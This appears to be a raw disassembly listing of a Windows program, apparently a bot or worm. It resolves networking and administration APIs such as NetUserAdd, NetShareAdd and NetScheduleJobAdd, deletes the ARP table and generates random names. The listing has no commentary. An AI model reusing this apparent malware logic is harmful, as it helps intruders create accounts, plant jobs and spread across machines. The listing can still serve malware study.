		cmp	dword_4CDEE0, ebx
		jz	loc_4093D7
		cmp	dword_4CDE24, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF30, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF44, ebx
		jz	short loc_4093D7
		cmp	dword_4CDEFC, ebx
		jz	short loc_4093D7
		cmp	dword_4CDEBC, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF10, ebx
		jz	short loc_4093D7
		cmp	dword_4CDECC, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF0C, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF74, ebx
		jz	short loc_4093D7
		cmp	dword_4CDEC4, ebx
		jz	short loc_4093D7
		cmp	dword_4CDE8C, ebx
		jz	short loc_4093D7
		cmp	dword_4CDEF8, ebx
		jz	short loc_4093D7
		cmp	dword_4CDF64, ebx
		jz	short loc_4093D7
		cmp	dword_4CDEA0, ebx
		jz	short loc_4093D7
		cmp	eax, ebx
		jnz	short loc_4093E1
		jmp	short loc_4093D7
; ---------------------------------------------------------------------------


loc_4093CC:				; CODE XREF: sub_408C5C+4C5j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFC0, eax


loc_4093D7:				; CODE XREF: sub_408C5C+664j
					; sub_408C5C+670j ...
		mov	dword_4CDFBC, 1


loc_4093E1:				; CODE XREF: sub_408C5C+76Cj
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4094E6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CDE30, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CDDBC, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CDEB0, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CDE64, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CDEB8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CDE84, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CDDF8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CDDF0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CDE00, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDE30, ebx
		mov	ecx, dword_4CDE84
		mov	dword_4CDF14, eax
		jz	short loc_4094C2
		cmp	dword_4CDDBC, ebx
		jz	short loc_4094C2
		cmp	dword_4CDEB0, ebx
		jz	short loc_4094C2
		cmp	dword_4CDE64, ebx
		jz	short loc_4094C2
		cmp	dword_4CDEB8, ebx
		jz	short loc_4094C2
		cmp	ecx, ebx
		jz	short loc_4094C2
		cmp	dword_4CDDF8, ebx
		jz	short loc_4094C2
		cmp	dword_4CDDF0, ebx
		jz	short loc_4094C2
		cmp	dword_4CDE00, ebx
		jz	short loc_4094C2
		cmp	eax, ebx
		jnz	short loc_4094CC


loc_4094C2:				; CODE XREF: sub_408C5C+824j
					; sub_408C5C+82Cj ...
		mov	dword_4CDFC4, 1


loc_4094CC:				; CODE XREF: sub_408C5C+864j
		cmp	ecx, ebx
		jz	short loc_409501
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CDE98, eax
		jnz	short loc_409501
		jmp	short loc_4094FB
; ---------------------------------------------------------------------------


loc_4094E6:				; CODE XREF: sub_408C5C+790j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFC8, eax
		mov	dword_4CDFC4, 1


loc_4094FB:				; CODE XREF: sub_408C5C+888j
		mov	dword_4CDE98, ebx


loc_409501:				; CODE XREF: sub_408C5C+872j
					; sub_408C5C+886j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40954B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CDE74, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CDF94, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDE74, ebx
		mov	dword_4CDE0C, eax
		jz	short loc_409556
		cmp	dword_4CDF94, ebx
		jz	short loc_409556
		cmp	eax, ebx
		jnz	short loc_409560
		jmp	short loc_409556
; ---------------------------------------------------------------------------


loc_40954B:				; CODE XREF: sub_408C5C+8B0j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFD0, eax


loc_409556:				; CODE XREF: sub_408C5C+8DFj
					; sub_408C5C+8E7j ...
		mov	dword_4CDFCC, 1


loc_409560:				; CODE XREF: sub_408C5C+8EBj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409667
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CDDE8, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CDDC4, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CDE38, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CDE68, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CDF70, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CDE20, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CDDCC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CDDC0, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CDE50, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CDF38, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CDEF4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDDE8, ebx
		mov	dword_4CDE28, eax
		jz	short loc_409672
		cmp	dword_4CDDC4, ebx
		jz	short loc_409672
		cmp	dword_4CDE38, ebx
		jz	short loc_409672
		cmp	dword_4CDE68, ebx
		jz	short loc_409672
		cmp	dword_4CDF70, ebx
		jz	short loc_409672
		cmp	dword_4CDE20, ebx
		jz	short loc_409672
		cmp	dword_4CDDCC, ebx
		jz	short loc_409672
		cmp	dword_4CDDC0, ebx
		jz	short loc_409672
		cmp	dword_4CDE50, ebx
		jz	short loc_409672
		cmp	dword_4CDF38, ebx
		jz	short loc_409672
		cmp	dword_4CDEF4, ebx
		jnz	short loc_40967C
		jmp	short loc_409672
; ---------------------------------------------------------------------------


loc_409667:				; CODE XREF: sub_408C5C+90Fj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFD8, eax


loc_409672:				; CODE XREF: sub_408C5C+9B7j
					; sub_408C5C+9BFj ...
		mov	dword_4CDFD4, 1


loc_40967C:				; CODE XREF: sub_408C5C+A07j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4096B1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CDE10, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDE10, ebx
		mov	dword_4CDEDC, eax
		jz	short loc_4096BC
		cmp	eax, ebx
		jnz	short loc_4096C6
		jmp	short loc_4096BC
; ---------------------------------------------------------------------------


loc_4096B1:				; CODE XREF: sub_408C5C+A2Bj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFE0, eax


loc_4096BC:				; CODE XREF: sub_408C5C+A4Dj
					; sub_408C5C+A53j
		mov	dword_4CDFDC, 1


loc_4096C6:				; CODE XREF: sub_408C5C+A51j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4096FB
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CDF5C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF5C, ebx
		mov	dword_4CDF58, eax
		jz	short loc_409706
		cmp	eax, ebx
		jnz	short loc_409710
		jmp	short loc_409706
; ---------------------------------------------------------------------------


loc_4096FB:				; CODE XREF: sub_408C5C+A75j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFE8, eax


loc_409706:				; CODE XREF: sub_408C5C+A97j
					; sub_408C5C+A9Dj
		mov	dword_4CDFE4, 1


loc_409710:				; CODE XREF: sub_408C5C+A9Bj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40976F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CDF88, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CDF80, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CDF48, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF88, ebx
		mov	dword_4CDE2C, eax
		jz	short loc_40977A
		cmp	dword_4CDF80, ebx
		jz	short loc_40977A
		cmp	dword_4CDF48, ebx
		jz	short loc_40977A
		cmp	eax, ebx
		jnz	short loc_409784
		jmp	short loc_40977A
; ---------------------------------------------------------------------------


loc_40976F:				; CODE XREF: sub_408C5C+ABFj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFF0, eax


loc_40977A:				; CODE XREF: sub_408C5C+AFBj
					; sub_408C5C+B03j ...
		mov	dword_4CDFEC, 1


loc_409784:				; CODE XREF: sub_408C5C+B0Fj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4097B9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CDE5C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDE5C, ebx
		mov	dword_4CDF54, eax
		jz	short loc_4097C4
		cmp	eax, ebx
		jnz	short loc_4097CE
		jmp	short loc_4097C4
; ---------------------------------------------------------------------------


loc_4097B9:				; CODE XREF: sub_408C5C+B33j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFF8, eax


loc_4097C4:				; CODE XREF: sub_408C5C+B55j
					; sub_408C5C+B5Bj
		mov	dword_4CDFF4, 1


loc_4097CE:				; CODE XREF: sub_408C5C+B59j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409857
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CDF1C, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CDF68, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CDEAC, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CDE6C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CDF00, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF1C, ebx
		mov	dword_4CDE78, eax
		jz	short loc_409862
		cmp	dword_4CDF68, ebx
		jz	short loc_409862
		cmp	dword_4CDEAC, ebx
		jz	short loc_409862
		cmp	dword_4CDE6C, ebx
		jz	short loc_409862
		cmp	dword_4CDF00, ebx
		jz	short loc_409862
		cmp	eax, ebx
		jnz	short loc_40986C
		jmp	short loc_409862
; ---------------------------------------------------------------------------


loc_409857:				; CODE XREF: sub_408C5C+B7Dj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CE000, eax


loc_409862:				; CODE XREF: sub_408C5C+BD3j
					; sub_408C5C+BDBj ...
		mov	dword_4CDFFC, 1


loc_40986C:				; CODE XREF: sub_408C5C+BF7j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_408C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409874	proc near		; CODE XREF: sub_401AA1+2067p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CDF9C, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4098BC
		push	dword_4CDFA0
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_4098BC:				; CODE XREF: sub_409874+1Aj
		cmp	dword_4CDFA4, esi
		jz	short loc_4098F0
		push	dword_4CDFA8
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_4098F0:				; CODE XREF: sub_409874+4Ej
		cmp	dword_4CDFAC, esi
		jz	short loc_409924
		push	dword_4CDFB0
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409924:				; CODE XREF: sub_409874+82j
		cmp	dword_4CDFB4, esi
		jz	short loc_409958
		push	dword_4CDFB8
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409958:				; CODE XREF: sub_409874+B6j
		cmp	dword_4CDFBC, esi
		jz	short loc_40998C
		push	dword_4CDFC0
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_40998C:				; CODE XREF: sub_409874+EAj
		cmp	dword_4CDFC4, esi
		jz	short loc_4099C0
		push	dword_4CDFC8
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_4099C0:				; CODE XREF: sub_409874+11Ej
		cmp	dword_4CDFCC, esi
		jz	short loc_4099F4
		push	dword_4CDFD0
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_4099F4:				; CODE XREF: sub_409874+152j
		cmp	dword_4CDFD4, esi
		jz	short loc_409A28
		push	dword_4CDFD8
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409A28:				; CODE XREF: sub_409874+186j
		cmp	dword_4CDFDC, esi
		jz	short loc_409A5C
		push	dword_4CDFE0
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409A5C:				; CODE XREF: sub_409874+1BAj
		cmp	dword_4CDFE4, esi
		jz	short loc_409A90
		push	dword_4CDFE8
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409A90:				; CODE XREF: sub_409874+1EEj
		cmp	dword_4CDFEC, esi
		jz	short loc_409AC4
		push	dword_4CDFF0
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409AC4:				; CODE XREF: sub_409874+222j
		cmp	dword_4CDFF4, esi
		jz	short loc_409AF8
		push	dword_4CDFF8
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409AF8:				; CODE XREF: sub_409874+256j
		cmp	dword_4CDFFC, esi
		jz	short loc_409B2C
		push	dword_4CE000
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h


loc_409B2C:				; CODE XREF: sub_409874+28Aj
		lea	eax, [ebp+var_200]
		push	offset unk_4307E8
		push	eax
		call	sub_4185E6
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409B59
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_409B59:				; CODE XREF: sub_409874+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409874	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B6B	proc near		; CODE XREF: sub_4017BF+4Fp
					; sub_401AA1+53E4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409B93
		push	[esp+arg_0]
		call	dword_4CDF64	; gethostbyname
		test	eax, eax
		jnz	short loc_409B8C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409B8C:				; CODE XREF: sub_409B6B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409B93:				; CODE XREF: sub_409B6B+Dj
		retn
sub_409B6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B94	proc near		; CODE XREF: sub_4017BF+D6p
		mov	ecx, dword_4CDE10
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409BA2
		jmp	ecx
; ---------------------------------------------------------------------------

locret_409BA2:				; CODE XREF: sub_409B94+Aj
		retn
sub_409B94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BA3	proc near		; CODE XREF: sub_401AA1:loc_403A19p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CDF5C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_409C2A
		sub	ecx, 32h
		jz	loc_409C74
		sub	ecx, 48h
		jz	short loc_409BFF
		sub	ecx, 6Eh
		jz	short loc_409BF8


loc_409BE1:				; CODE XREF: sub_409BA3+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_4309E0
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	short loc_409C55
; ---------------------------------------------------------------------------


loc_409BF8:				; CODE XREF: sub_409BA3+3Cj
		push	offset unk_4309BC
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409BFF:				; CODE XREF: sub_409BA3+37j
		push	[ebp+var_8]
		call	sub_418235
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_4182F0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_409C42
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CDF5C	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_409BE1


loc_409C2A:				; CODE XREF: sub_409BA3+29j
		cmp	[esi], edi
		jbe	short loc_409C65
		lea	ebx, [esi+4]


loc_409C31:				; CODE XREF: sub_409BA3+9Bj
		push	ebx
		call	dword_4CDF58	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_409C31
		jmp	short loc_409C65
; ---------------------------------------------------------------------------


loc_409C42:				; CODE XREF: sub_409BA3+75j
		push	offset unk_43098C


loc_409C47:				; CODE XREF: sub_409BA3+5Aj
					; sub_409BA3+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_409C55:				; CODE XREF: sub_409BA3+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_413F3A
		pop	ecx


loc_409C65:				; CODE XREF: sub_409BA3+89j
					; sub_409BA3+9Dj
		push	esi
		call	sub_417E11
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409C74:				; CODE XREF: sub_409BA3+2Ej
		push	offset unk_43095C
		jmp	short loc_409C47
sub_409BA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7B	proc near		; CODE XREF: sub_401AA1+1D3Bp
					; sub_401AA1+1E89p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDE8C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CE00C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4185E6
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409C7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CD4	proc near		; CODE XREF: sub_4118C8+24Cp
					; sub_4118C8+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_409CFF
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_409CF2:				; CODE XREF: sub_409CD4+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_409CF2
		pop	edi
		jmp	short loc_409D03
; ---------------------------------------------------------------------------


loc_409CFF:				; CODE XREF: sub_409CD4+Aj
		mov	esi, [esp+4+arg_0]


loc_409D03:				; CODE XREF: sub_409CD4+29j
		test	ecx, ecx
		jz	short loc_409D0C
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_409D0C:				; CODE XREF: sub_409CD4+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_409CD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D24	proc near		; CODE XREF: sub_40A0C6+4Ap
					; DATA XREF: .nsp0:off_430A28o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		call	sub_418642
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_430A90[edx*4]
		push	offset dword_42F298
		push	1Ch
		push	edi
		call	sub_4186E0
		xor	esi, esi
		add	esp, 14h
		cmp	dword_42609C, esi
		jle	short loc_409D8B


loc_409D65:				; CODE XREF: sub_409D24+65j
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42ECF4
		push	1Ch
		push	edi
		call	sub_4186E0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42609C
		jl	short loc_409D65


loc_409D8B:				; CODE XREF: sub_409D24+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409D24	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aWw ; "Ww`"
		push	offset dword_42F298
		push	1Ch
		push	edi
		call	sub_4186E0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42609C, esi
		jle	short loc_409DE9


loc_409DC3:				; CODE XREF: .nsp0:00409DE7j
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42ECF4
		push	1Ch
		push	edi
		call	sub_4186E0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42609C
		jl	short loc_409DC3


loc_409DE9:				; CODE XREF: .nsp0:00409DC1j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409DEE	proc near		; CODE XREF: sub_401AA1+5FD8p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_418642
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42609C
		test	esi, esi
		jle	short loc_409E31


loc_409E1B:				; CODE XREF: sub_409DEE+41j
		call	sub_418642
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_409E1B


loc_409E31:				; CODE XREF: sub_409DEE+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409DEE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
